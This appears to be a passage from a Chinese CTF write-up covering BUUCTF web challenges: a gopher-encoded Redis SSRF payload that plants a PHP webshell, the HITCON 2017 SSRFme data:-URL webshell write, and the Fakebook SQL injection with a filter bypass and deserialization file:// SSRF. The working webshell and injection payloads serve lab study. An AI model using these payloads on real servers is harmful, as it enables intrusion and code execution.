url=gopher://0x7f000001:6379/_%252A2%250D%250A%25244%250D%250AAUTH%250D%250A%25244%250D%250Aroot%250D%250A%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252430%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255Bcmd%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25248%250D%250Asavequit%250D%250A

传入后不知道为啥会报502,但是shell.php成功写入了,

在这里插入图片描述

蚁剑连接,读取flag,

在这里插入图片描述

[HITCON 2017]SSRFme

题目源码:

<?php
  if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
    $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
  }
  echo $_SERVER["REMOTE_ADDR"];
  $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
  @mkdir($sandbox);
  @chdir($sandbox);
  $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
  $info = pathinfo($_GET["filename"]);
  $dir = str_replace(".", "", basename($info["dirname"]));
  @mkdir($dir);
  @chdir($dir);
  @file_put_contents(basename($info["basename"]), $data);
  highlight_file(__FILE__);

看了一下,发现代码主要做了这几件事

  1. 先创建目录/sandbox/MD5(orange+ip),然后把工作目录跳转到该目录下
  2. 执行shell 命令 GET escapeshellarg($_GET["url"] ,结果存在data中,escapeshellarg($_GET[“url”] 就是把url参数进行转义,防止shell注入
  3. 用pathinfo函数解析get传入的filename参数,$dir存储解析到的文件路径,然后创建该路径,并在该路径下写入文件,(如果filename中没有路径,$dir就是.,会被替换为空,chdir跳转失败,就会保持在当前目录)
  4. 文件名为pathinfo解析的文件名,数据为命令GET escapeshellarg($_GET["url"]的结果

梳理完后,感觉可以利用file_put_contents写木马,但是不知道改如何写入数据

上网查阅资料后得知,GET 是 libwww-perl(perl模块库)的一个命令,用于发送http请求,感觉可以和伪协议搭配在一起写数据,构造payload

?url=data:text/plain,'<?php @eval($_POST['cmd'])?>'&filename=shell.php

然后蚁剑连接

http://bec7cdfe-8808-4fdf-80bc-b47454bbe31c.node5.buuoj.cn/sandbox/f38aa8d984e63b60f461c179a0558dba/shell.php

在这里插入图片描述

连接后在根目录下发现flag,但是没有读取权限,

在这里插入图片描述

但后面发现readflag好像是可以执行的,执行看看

在这里插入图片描述

执行成功

[网鼎杯 2018]Fakebook

题目是一个博客环境,注册后

在这里插入图片描述

点进去hello,发现

在这里插入图片描述

这里会不会有sql注入漏洞呢,尝试了一下之后,果然有,是数字型注入漏洞,order by 判断出是4列后,准备 union select 1,2,3,4

在这里插入图片描述

但我单独输入union,select,又没有这个no hack,应该是过滤 union select 这个整体,于是用union/**/select绕过,

union/**/ select 1,2,3,4

在这里插入图片描述

发现报错中有unserialize这个函数,还有getblogcontents,想到数据库存储的应该是博客信息序列化后的数据,取出来反序列化后再展示,但是不知道题目源码,不清楚具体的原理

于是想着试一下用dirsearch扫一下,结果发现了有rotbots.txt,还有flag.php(直接访问,但是啥都没有),有可能是没权限,也有可能是flag在php的源代码里

在这里插入图片描述

在这里插入图片描述

有/user.php.bak,里面就是一段源码

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

重点在于get这个函数,使用了curl,而且访问的内容是我们可以控制的博客,有ssrf漏洞,

如果把blog的内容设置为file:///var/www/html/flag.php,get函数访问就可以拿到flag,但如何触发呢? 在前面的报错界面中,同时出现unseralize和getBlogContents这两个函数的报错,而且前者在31行,后者在62行,所以后台应该是先从数据库中取出序列化数据,反序列化后,对blog进行访问获得内容

如果我们控制这个序列化数据为我们自己构造的访问flag.php的序列化数据,反序列化后使用curl请求,就能获得flag,(MySQL中如果select不指定表名,就会把select的数据当作常量处理,全部返回),如

在这里插入图片描述

因此,我们直接union select(序列化数据)即可, 写一个构造序列化数据的exp

<?php
class UserInfo
{
    public $name = "a";
    public $age = 10;
    public $blog = "file:///var/www/html/flag.php"; //由于前面http协议访问过没拿到数据,改用file协议
}
echo serialize(new UserInfo());
?>
O:8:"UserInfo":3:{s:4:"name";s:1:"a";s:3:"age";i:10;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

payload:

no=-1%20union/**/select%201,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:1:"a";s:3:"age";i:10;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27

查询的时候记得给序列化数据加引号,不然报错,结果:

在这里插入图片描述

感觉这个可能是flag,解码看看

在这里插入图片描述

成功

标签:SSRF,00%,url,250D%,学习,2500%,php,250A%
From: https://blog.csdn.net/oyf3085227433/article/details/136985956

相关文章

  • 【机器学习300问】48、如何绘制ROC曲线?
        ROC曲线(受试者工作特征曲线)是一种用于可视化评估二分类模型性能的指标。特别是在不同阈值情况下模型对正类和负类的区分能力。那么“阈值”到底是个什么呢?ROC曲线中的每一个点到底是什么意思?一、ROC曲线的绘制【理论】    二分类器(模型)输出的是预测样本......
  • 损失函数与优化器:交叉熵损失Adam和学习率调整策略
    非常感谢您的委托,我将尽我所能撰写一篇专业而深入的技术博客文章。作为一位世界级的人工智能专家和计算机领域大师,我将以逻辑清晰、结构紧凑、简单易懂的专业技术语言,为您呈现这篇题为《损失函数与优化器:交叉熵损失、Adam和学习率调整策略》的技术博客。让我们开始吧!1......
  • 数据分析和机器学习库Pandas的使用
    Pandas库是一个免费、开源的第三方Python库,是Python数据分析和机器学习的工具之一。Pandas提供了两种数据结构,分别是Series(一维数组结构)与DataFrame(二维数组结构),极大地增强的了Pandas的数据分析能力。importpandasaspdimportnumpyasnpSeriesSeries是一......
  • 电源电路基础知识学习(建议收藏)
    日常生活中,电子产品在工作时都需要直流电源提供激励,而电池因使用成本较高,一般只用于低功耗便携式的仪器设备中。如下图所示,是直流电源的结构及稳压过程:1).电源变压器先将市电转变为较低的目标电压;2).整流电路是将交流电转为具有直流电成分的脉动直流电;3).滤波......
  • JavaWeb学习笔记——第三天
    Ajax概述Ajax全称AsynchronousJavaScriptAndXML,异步的JavaScript和XML。作用数据交换:通过Ajax可以给服务器发送请求,并获取服务器响应的数据。异步交互:可以在不重新加载整个页面的情况下,与服务器交换数据并更新部分网页的技术,如:搜索联想、用户名是否可用的校验等等。同......
  • 【论文精读】MAE:Masked Autoencoders Are Scalable Vision Learners 带掩码的自动编码
    系列文章目录【论文精读】Transformer:AttentionIsAllYouNeed【论文精读】BERT:Pre-trainingofDeepBidirectionalTransformersforLanguageUnderstanding【论文精读】VIT:visiontransformer论文文章目录系列文章目录一、前言二、文章概览(一)研究背景(二)MAE的主......
  • TensorFlow的研究应用与开发~深度学习
    TensorFlow是谷歌开源的机器学习框架,它的主要目标是让开发者能够轻松地构建和部署机器学习模型。TensorFlow的核心概念是张量(Tensor)和计算图(Graph)。张量是TensorFlow中的基本数据结构,可以看作是多维数组。张量可以是常量(Constant)或变量(Variable)。常量是指在计算图中的固定值,而......
  • UDS诊断协议一起学习——5应用层协议-5.4服务描述约定
    5.4服务描述约定5.4.1服务描述    上回书咱们说到哪儿了我也给忘了,详情大家往前去翻一翻,这回书咱们接着上回书继续说,咱们继续介绍应用层服务的相关知识。    协议中此部分内容是约定俗称的,不做多余赘述,接下来主要是介绍A_PDU的相关内容,A_PDU:应用层,协议数......
  • Linux C编程一站式学习 part2: C语言本质
    LinuxC编程一站式学习(akaedu.github.io)22.Makefile基础1.基本规则欲更新目标,必须首先更新它的所有条件;所有条件中只要有一个条件被更新了,目标也必须随之被更新。“更新”:执行一遍规则中的命令列表,命令列表中的每条命令必须以一个Tab开头对于Makefile中的每个以Tab开头......
  • 程序员的内功心法:核心技能与学习资源全揭秘
    引言在深入探讨程序的多样性与实际应用之前,我们首先需要理解程序究竟是什么,它是如何从最初的简单机械指令,演化为今天我们所依赖的复杂代码集合的。程序,简单来说,就是一组让计算机执行特定任务的指令集合。它不仅包含了具体的操作步骤,还包括了操作的顺序和结构,这一点让程序与一......